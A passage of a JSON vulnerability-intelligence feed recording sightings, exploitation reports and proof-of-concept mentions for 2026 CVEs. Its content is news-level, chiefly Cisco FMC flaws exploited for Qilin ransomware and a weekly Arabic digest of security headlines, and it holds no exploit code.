"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20501", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mveo63c33z2p", "content": "\ud83d\udccc CVE-2026-20501 - In vdec, there is a possible out of bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional ex... https://www.cyberhub.blog/cves/CVE-2026-20501", "creation_timestamp": "2026-09-13T03:37:07.267744Z"}, {"uuid": "4590e727-8e30-46c2-a500-e310306c8e6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20502", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mveptqaout2u", "content": "\ud83d\udccc CVE-2026-20502 - In vdec, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional ex... https://www.cyberhub.blog/cves/CVE-2026-20502", "creation_timestamp": "2026-09-13T04:07:07.811603Z"}, {"uuid": "56e0329b-e1fd-4abe-bb3e-9d173ae4e482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mveym7orcd2l", "content": "Top 3 CVE for last 7 days:\nCVE-2026-85046: 29 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-20079: 19 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85102: 10 interactions\nCVE-2026-85103: 10 interactions\nCVE-2026-81578: 9 interactions\n", "creation_timestamp": "2026-09-13T06:43:58.853934Z"}, {"uuid": "5e5d7272-feac-4199-848b-41c19a4e4302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://t.me/pphm_HackerNews/3109", "content": "\ud83d\udd34 Cisco FMC Flaws Exploited to Steal Credentials and Deploy Qilin Ransomware\n\nCisco has revealed that three distinct threat clusters linked to ransomware and state-sponsored attacks have been exploiting two recently patched Secure Firewall Management Center (FMC) vulnerabilities.\n\nThe attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.\n\nThe second flaw under exploitation is CVE-2026-20316 (CVSS score: 5.3), which could allow an unauthenticated, remote attacker to log in to an affected device using a low-privilege account to access sensitive data within susceptible systems. It can be paired with other Cisco Secure FMC vulnerabilities to elevate privileges.", "creation_timestamp": "2026-09-13T10:00:05.758591Z"}, {"uuid": "18e513f2-24a3-4d41-be68-b3335afde04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/pphm_HackerNews/3109", "content": "\ud83d\udd34 Cisco FMC Flaws Exploited to Steal Credentials and Deploy Qilin Ransomware\n\nCisco has revealed that three distinct threat clusters linked to ransomware and state-sponsored attacks have been exploiting two recently patched Secure Firewall Management Center (FMC) vulnerabilities.\n\nThe attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.\n\nThe second flaw under exploitation is CVE-2026-20316 (CVSS score: 5.3), which could allow an unauthenticated, remote attacker to log in to an affected device using a low-privilege account to access sensitive data within susceptible systems. It can be paired with other Cisco Secure FMC vulnerabilities to elevate privileges.", "creation_timestamp": "2026-09-13T10:00:05.806874Z"}, {"uuid": "b3f990cf-0d55-4dcf-bb79-10961da67a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mvfg3iuqtp23", "content": "Cisco FMC CVE-2026-20079: three threat clusters, Qilin ransomware deployed, credential theft observed. CISA deadline Sep 12\u2026 https://0daynews.com/articles/2026-09-11-cisco-fmc-qilin-three-threat-clusters/?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-1741", "creation_timestamp": "2026-09-13T10:45:10.883532Z"}, {"uuid": "9a2727f0-6712-4cac-8a13-58e9c9752dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/16cwMwlSzWO9MkRk19k06Esh9MQuhxvk6VEneuSFL3_Kfow", "content": "", "creation_timestamp": "2026-09-13T15:00:04.792498Z"}, {"uuid": "7af1431b-9cbb-40ff-acf5-44944ecf4626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/eolgh6aLS4rgSnR6Z-zHifxEeNBV1ThDpQWe37SgOUT7I1o", "content": "", "creation_timestamp": "2026-09-13T19:00:06.284950Z"}, {"uuid": "513fe3d5-efdd-4539-85d6-822d20c9d3b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/dz8oVHlM6MSAqZxHD6HViJQ9kuABjzlWzpA27kQhXZQ-SYw", "content": "", "creation_timestamp": "2026-09-13T19:00:07.167909Z"}, {"uuid": "93d3a75b-ff6e-4569-a389-d35def6a9d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/CYPERMRED/82", "content": "\ud83d\udee1 \u0623\u0628\u0631\u0632 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0644\u0647\u0630\u0627 \u0627\u0644\u0623\u0633\u0628\u0648\u0639 .\n\n\ud83d\uddd3 \u062a\u0627\u0631\u064a\u062e \u0627\u0644\u064a\u0648\u0645: 15 \u0645\u0627\u064a\u0648 2026\n\n\u2705 \u0637\u0648\u0631 \u0645\u0647\u0627\u0631\u062a\u0643 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u062f\u0648\u0631\u0627\u062a \u0627\u0644\u0627\u062d\u062a\u0631\u0627\u0641\u064a\u0629 \u0639\u0644\u0649 \u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0627\u0644\u062f\u0631\u0639 \u0627\u0644\u0623\u062e\u0636\u0631 \ud83d\udc47\ud83c\udffb\nhttps://greenarmor.academy\n\n\n1\ufe0f\u20e3 \u0634\u0631\u0643\u0629 Cisco\u060c \u062b\u063a\u0631\u0629 \u062d\u0631\u062c\u0629 \u0641\u064a SD-WAN:\n\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0641\u0639\u0644\u064a \u0644\u062b\u063a\u0631\u0629 CVE-2026-20127 \u0628\u062a\u0642\u064a\u064a\u0645 CVSS 10.0 \u0641\u064a Cisco Catalyst SD-WAN Controller\u060c \u0648\u0642\u062f \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0625\u062f\u0627\u0631\u064a\u0629.\n\ud83d\udccc https://thehackernews.com/2026/02/cisco-sd-wan-zero-day-cve-2026-20127.html\n\n2\ufe0f\u20e3 \u0645\u0646\u0635\u0629 Ollama\u060c \u062a\u0633\u0631\u064a\u0628 \u0630\u0627\u0643\u0631\u0629 \u0645\u0646 \u062e\u0648\u0627\u062f\u0645 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a:\n\u062b\u063a\u0631\u0629 CVE-2026-7482 \u0642\u062f \u062a\u0633\u0645\u062d \u0644\u0645\u0647\u0627\u062c\u0645 \u0639\u0646 \u0628\u064f\u0639\u062f \u0648\u0628\u062f\u0648\u0646 \u0645\u0635\u0627\u062f\u0642\u0629 \u0628\u062a\u0633\u0631\u064a\u0628 \u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0639\u0645\u0644\u064a\u0629 \u0639\u0628\u0631 \u0645\u0644\u0641\u0627\u062a GGUF \u062e\u0628\u064a\u062b\u0629\u060c \u0645\u0639 \u0627\u062d\u062a\u0645\u0627\u0644 \u062a\u0623\u062b\u0631 \u0623\u0643\u062b\u0631 \u0645\u0646 300,000 \u062e\u0627\u062f\u0645 \u0645\u0643\u0634\u0648\u0641. \n\ud83d\udccc https://thehackernews.com/2026/05/ollama-out-of-bounds-read-vulnerability.html\n\n3\ufe0f\u20e3 \u0634\u0631\u0643\u0629 Microsoft\u060c \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u0648\u0627\u0633\u0639\u0629:\n\u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0623\u0635\u062f\u0631\u062a \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0644\u0645\u0639\u0627\u0644\u062c\u0629 138 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0645\u0646\u062a\u062c\u0627\u062a\u0647\u0627\u060c \u0645\u0646 \u0628\u064a\u0646\u0647\u0627 \u062b\u063a\u0631\u0627\u062a \u062d\u0631\u062c\u0629 \u0641\u064a Windows DNS \u0648Netlogon \u0648Azure \u0648Dynamics 365 \u0648Hyper-V. \n\ud83d\udccc https://thehackernews.com/2026/05/microsoft-patches-138-vulnerabilities.html\n\n4\ufe0f\u20e3 \u0646\u0638\u0627\u0645 Windows\u060c \u062b\u063a\u0631\u0627\u062a Zero-Day \u062c\u062f\u064a\u062f\u0629:\n\u062a\u0645 \u0646\u0634\u0631 \u062a\u0641\u0627\u0635\u064a\u0644 \u062b\u063a\u0631\u062a\u064a\u0646 \u0644\u0645 \u064a\u062a\u0645 \u0627\u0635\u0644\u0627\u062d\u0647\u0645 \u0628\u0639\u062f \u0641\u064a Windows: YellowKey \u0644\u062a\u062c\u0627\u0648\u0632 BitLocker\u060c \u0648GreenPlasma \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0639\u0628\u0631 CTFMON. \n\ud83d\udccc https://thehackernews.com/2026/05/windows-zero-days-expose-bitlocker.html\n\n5\ufe0f\u20e3 \u0645\u0646\u0635\u0629 cPanel\u060c \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0627\u0633\u0639 \u0644\u062b\u063a\u0631\u0629 \u062e\u0637\u064a\u0631\u0629:\n\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0646\u0634\u0637 \u0644\u062b\u063a\u0631\u0629 CVE-2026-41940 \u0641\u064a cPanel \u0648WHM \u0644\u0646\u0634\u0631 Backdoor \u0628\u0627\u0633\u0645 Filemanager\u060c \u0645\u0639 \u0631\u0628\u0637 \u0627\u0644\u062d\u0645\u0644\u0629 \u0628\u062c\u0647\u0629 \u062a\u0647\u062f\u064a\u062f \u062a\u064f\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 Mr_Rot13. \n\ud83d\udccc https://thehackernews.com/2026/05/cpanel-cve-2026-41940-under-active.html\n\n6\ufe0f\u20e3 \u0634\u0631\u0643\u0629 Palo Alto Networks\u060c \u062b\u063a\u0631\u0629 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a PAN-OS:\n\u062b\u063a\u0631\u0629 CVE-2026-0300 \u0641\u064a User-ID Authentication Portal \u062a\u0633\u0645\u062d \u0628\u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0639\u0646 \u0628\u064f\u0639\u062f \u0628\u0635\u0644\u0627\u062d\u064a\u0627\u062a root \u0639\u0644\u0649 \u0623\u062c\u0647\u0632\u0629 PA-Series \u0648VM-Series\u060c \u0648\u062a\u0645 \u0631\u0635\u062f \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0641\u0639\u0644\u064a\u064b\u0627. \n\ud83d\udccc https://thehackernews.com/2026/05/palo-alto-pan-os-flaw-under-active.html\n\n7\ufe0f\u20e3 \u062e\u0627\u062f\u0645 Exim\u060c \u062b\u063a\u0631\u0629 Dead.Letter\n\u062b\u063a\u0631\u0629 CVE-2026-45185 \u0641\u064a Exim: \u0639\u0646\u062f \u0627\u0633\u062a\u062e\u062f\u0627\u0645 GnuTLS \u0642\u062f \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u062a\u0644\u0641 \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0648\u0631\u0628\u0645\u0627 \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0639\u0646 \u0628\u064f\u0639\u062f\u060c \u0644\u0630\u0644\u0643 \u064a\u064f\u0646\u0635\u062d \u0628\u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0641\u0648\u0631\u064b\u0627. \n\ud83d\udccc https://thehackernews.com/2026/05/new-exim-bdat-vulnerability-exposes.html\n\n8\ufe0f\u20e3 \u0633\u0644\u0633\u0644\u0629 \u062a\u0648\u0631\u064a\u062f\u060c Mini Shai-Hulud:\n\u062d\u0645\u0644\u0629 Supply Chain \u062e\u0628\u064a\u062b\u0629 \u0627\u0633\u062a\u0647\u062f\u0641\u062a \u062d\u0632\u0645 npm \u0648PyPI \u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0645\u0634\u0627\u0631\u064a\u0639 \u0645\u062b\u0644 TanStack \u0648Mistral AI \u0648Guardrails AI\u060c \u0645\u0639 \u0633\u0631\u0642\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0648GitHub/OIDC tokens. \n\ud83d\udccc https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html\n\n9\ufe0f\u20e3 \u0645\u0646\u0635\u0629 Hugging Face\u060c \u0645\u0633\u062a\u0648\u062f\u0639 OpenAI \u0645\u0632\u064a\u0641:\n\u0645\u0633\u062a\u0648\u062f\u0639 \u062e\u0628\u064a\u062b \u0627\u0646\u062a\u062d\u0644 \u0627\u0633\u0645 OpenAI Privacy Filter \u0648\u0648\u0635\u0644 \u0625\u0644\u0649 \u0627\u0644\u0645\u0631\u0643\u0632 \u0627\u0644\u0623\u0648\u0644 \u0641\u064a \u0627\u0644\u062a\u0631\u0646\u062f\u060c \u0648\u062d\u0642\u0642 \u0646\u062d\u0648 244,000 \u062a\u062d\u0645\u064a\u0644 \u062e\u0644\u0627\u0644 18 \u0633\u0627\u0639\u0629\u060c \u0648\u0643\u0627\u0646 \u064a\u0646\u0634\u0631 Infostealer \u0639\u0644\u0649 \u0623\u062c\u0647\u0632\u0629 Windows. \n\ud83d\udccc https://thehackernews.com/2026/05/fake-openai-privacy-filter-repo-hits-1.html\n\n\ud83d\udd1f \u0646\u0638\u0627\u0645 Linux\u060c \u062b\u063a\u0631\u0629 Fragnesia \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a:\n\u062b\u063a\u0631\u0629 CVE-2026-46300 \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0628\u0627\u0633\u0645 Fragnesia \u062a\u0633\u0645\u062d \u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0645\u062d\u0644\u064a \u0628\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0625\u0644\u0649 root \u0639\u0628\u0631 \u062e\u0644\u0644 \u0641\u064a Linux Kernel\u060c \u0648\u0647\u064a \u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0633\u0644\u0633\u0644\u0629 Dirty Frag. \n\ud83d\udccc https://www.microsoft.com/en-us/security/blog/2026/05/08/active-attack-dirty-frag-linux-vulnerability-expands-post-compromise-risk/\n\n1\ufe0f\u20e31\ufe0f\u20e3 \u062e\u0627\u062f\u0645 NGINX\u060c \u062b\u063a\u0631\u0629 \u0639\u0645\u0631\u0647\u0627 18 \u0633\u0646\u0629:\n\u062b\u063a\u0631\u0629 NGINX Rift CVE-2026-42945 \u0641\u064a ngx_http_rewrite_module \u0642\u062f \u062a\u0633\u0645\u062d \u0628\u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0639\u0646 \u0628\u064f\u0639\u062f \u0623\u0648 \u062a\u0639\u0637\u064a\u0644 \u0627\u0644\u062e\u062f\u0645\u0629 \u0639\u0628\u0631 \u0637\u0644\u0628\u0627\u062a HTTP \u0645\u0635\u0645\u0645\u0629 \u062e\u0635\u064a\u0635\u064b\u0627. \n\ud83d\udccc https://thehackernews.com/2026/05/18-year-old-nginx-rewrite-module-flaw.html", "creation_timestamp": "2026-09-13T20:00:05.027654Z"}, {"uuid": "6326b6c8-ec29-4988-9bd0-00743f99fad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "published-proof-of-concept", "source": "Telegram/L6LhPmAiVnzPIxbC6XDxhnzuEJnxq92MQ83MRD2-qIGhIyE", "content": "", "creation_timestamp": "2026-09-13T22:00:08.826921Z"}, {"uuid": "c2e1fdad-616c-4a69-8631-7b400c64c1f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/N_mixIiipJKCy4A15l4EK14mTB12DnBc0A7BepwKIkOAWtk", "content": "", "creation_timestamp": "2026-09-14T00:00:08.649442Z"}, {"uuid": "32dc6dcc-c0ac-4612-9375-63b5ad1b73df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/jh0whM22Atq8OS912YyotgrPw8UHGX4MBmJa5R4nvwF36is", "content": "", "creation_timestamp": "2026-09-14T00:00:09.131767Z"}, {"uuid": "9742f072-6bca-44dd-91e3-75fdd41f0702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "published-proof-of-concept", "source": "Telegram/L6LhPmAiVnzPIxbC6XDxhnzuEJnxq92MQ83MRD2-qIGhIyE", "content": "", "creation_timestamp": "2026-09-14T00:00:10.083766Z"}, {"uuid": "709f4c94-3d61-4308-a736-9b3ba053ea09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/eolgh6aLS4rgSnR6Z-zHifxEeNBV1ThDpQWe37SgOUT7I1o", "content": "", "creation_timestamp": "2026-09-14T00:00:11.266320Z"}, {"uuid": "500b77c5-5300-4030-987d-6bfe2f85afbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/dz8oVHlM6MSAqZxHD6HViJQ9kuABjzlWzpA27kQhXZQ-SYw", "content": "", "creation_timestamp": "2026-09-14T00:00:11.983569Z"}, {"uuid": "a9d74e76-faaa-44cd-9132-6d200496ad1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/16cwMwlSzWO9MkRk19k06Esh9MQuhxvk6VEneuSFL3_Kfow", "content": "", "creation_timestamp": "2026-09-14T00:00:13.411031Z"}, {"uuid": "9502e9b9-8e23-4193-a510-1b307ec234d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/uUtnno_VEuouvWhn_29Osxsno0-8bymP_h88l7hsSYncMeY", "content": "", "creation_timestamp": "2026-09-14T00:00:12.561465Z"}, {"uuid": "5497c366-0bc8-4a83-b42b-39ab830eae7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://t.me/pphm_HackerNews/3109", "content": "\ud83d\udd34 Cisco FMC Flaws Exploited to Steal Credentials and Deploy Qilin Ransomware\n\nCisco has revealed that three distinct threat clusters linked to ransomware and state-sponsored attacks have been exploiting two recently patched Secure Firewall Management Center (FMC) vulnerabilities.\n\nThe attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.\n\nThe second flaw under exploitation is CVE-2026-20316 (CVSS score: 5.3), which could allow an unauthenticated, remote attacker to log in to an affected device using a low-privilege account to access sensitive data within susceptible systems. It can be paired with other Cisco Secure FMC vulnerabilities to elevate privileges.", "creation_timestamp": "2026-09-14T00:00:29.920731Z"}, {"uuid": "172d47d9-c466-4adc-b6df-4ed40b3f59e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/9Bqrv8ZP59oy0XdEjFhqJDsaUc_BG0GF4QuuonCAaPlSIlQ", "content": "", "creation_timestamp": "2026-09-14T00:00:30.698417Z"}, {"uuid": "a56732c0-d224-4fe3-aff5-15b1af2626aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/wJIOJg7zanHnVyyI798_fwaJpOpzvcGiO4zWBe597cvOE_Q", "content": "", "creation_timestamp": "2026-09-14T00:00:30.936825Z"}, {"uuid": "19053660-cc0e-420e-b626-d42ba10a6429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/pphm_HackerNews/3109", "content": "\ud83d\udd34 Cisco FMC Flaws Exploited to Steal Credentials and Deploy Qilin Ransomware\n\nCisco has revealed that three distinct threat clusters linked to ransomware and state-sponsored attacks have been exploiting two recently patched Secure Firewall Management Center (FMC) vulnerabilities.\n\nThe attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.\n\nThe second flaw under exploitation is CVE-2026-20316 (CVSS score: 5.3), which could allow an unauthenticated, remote attacker to log in to an affected device using a low-privilege account to access sensitive data within susceptible systems. It can be paired with other Cisco Secure FMC vulnerabilities to elevate privileges.", "creation_timestamp": "2026-09-14T00:00:29.968585Z"}, {"uuid": "64be20aa-7006-4f31-9acc-ddde10a6c5c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "Telegram/nbvVwcF9Vh3pSQxjis9dqZYR3pC2fbiK7Di-WEfMf6jiAg", "content": "", "creation_timestamp": "2026-09-14T03:00:05.233994Z"}, {"uuid": "1dd3dc1d-4e7a-4467-932f-c761b9102043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/NaqXpJzudf_kPemcfRLNgSuhJAIsHS0qYFopzKAZDt10jI8", "content": "", "creation_timestamp": "2026-09-14T03:00:11.356017Z"}, {"uuid": "f5171dc6-6868-4999-b04d-dc690e7cc2e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20516", "type": "seen", "source": "Telegram/hyT_MOXILeGP_H3mOM6D0YvgOQ4qPuk9nF2x2dv8gC9J0Ss", "content": "", "creation_timestamp": "2026-09-14T03:00:15.137804Z"}, {"uuid": "70a39746-bc64-4e77-a215-4eec45516917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20516", "type": "seen", "source": "Telegram/0phjcISM7xaEvPyzzbSiHps9Ynh5NA4Z3_XacHD49buP-a4", "content": "", "creation_timestamp": "2026-09-14T03:00:14.535883Z"}, {"uuid": "02ed976e-fb9a-4fc0-a203-1c7b64a40883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/rYI6Zqy0cIAzPuGO9f0r5Slky12gBs9q9iDC78xwtWgP4zQ", "content": "", "creation_timestamp": "2026-09-14T04:00:04.540685Z"}, {"uuid": "4878edda-8a62-46da-b9ca-be2b96da5d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102256", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20079-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DiegoArias008\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-14 02:39:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-14T06:00:05.846448Z"}, {"uuid": "3297236a-4f89-408d-ac09-fd3f32f66317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mvhjwehwaz2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-85046: 26 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-20079: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-51990: 7 interactions\nCVE-2026-90561: 4 interactions\nCVE-2025-59287: 3 interactions\n", "creation_timestamp": "2026-09-14T06:59:12.690764Z"}, {"uuid": "ee3aee0f-82a8-4eda-b394-a60475ae221c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/8bitsecurity.mastodon.social.ap.brid.gy/post/3mvhkaxe6cg32", "content": "\ud83d\udd0e NEXUS8 WEEKLY DIGEST \u00b7 \ud83d\udca5 EXPLOIT\n\nCisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\nCisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in its Secure Firewall Management Center (FMC) software is being actively exploited in [\u2026]", "creation_timestamp": "2026-09-14T07:07:20.380784Z"}, {"uuid": "f1e87d94-3ace-4133-aae5-06b06a220a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/5JJLi4ilWXyXXmqQX3oBT0dkr7roQAj1drplfCNAlo1SbUc", "content": "", "creation_timestamp": "2026-09-14T08:00:06.279133Z"}, {"uuid": "91999699-93cb-464b-88ff-fbfaa300e2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 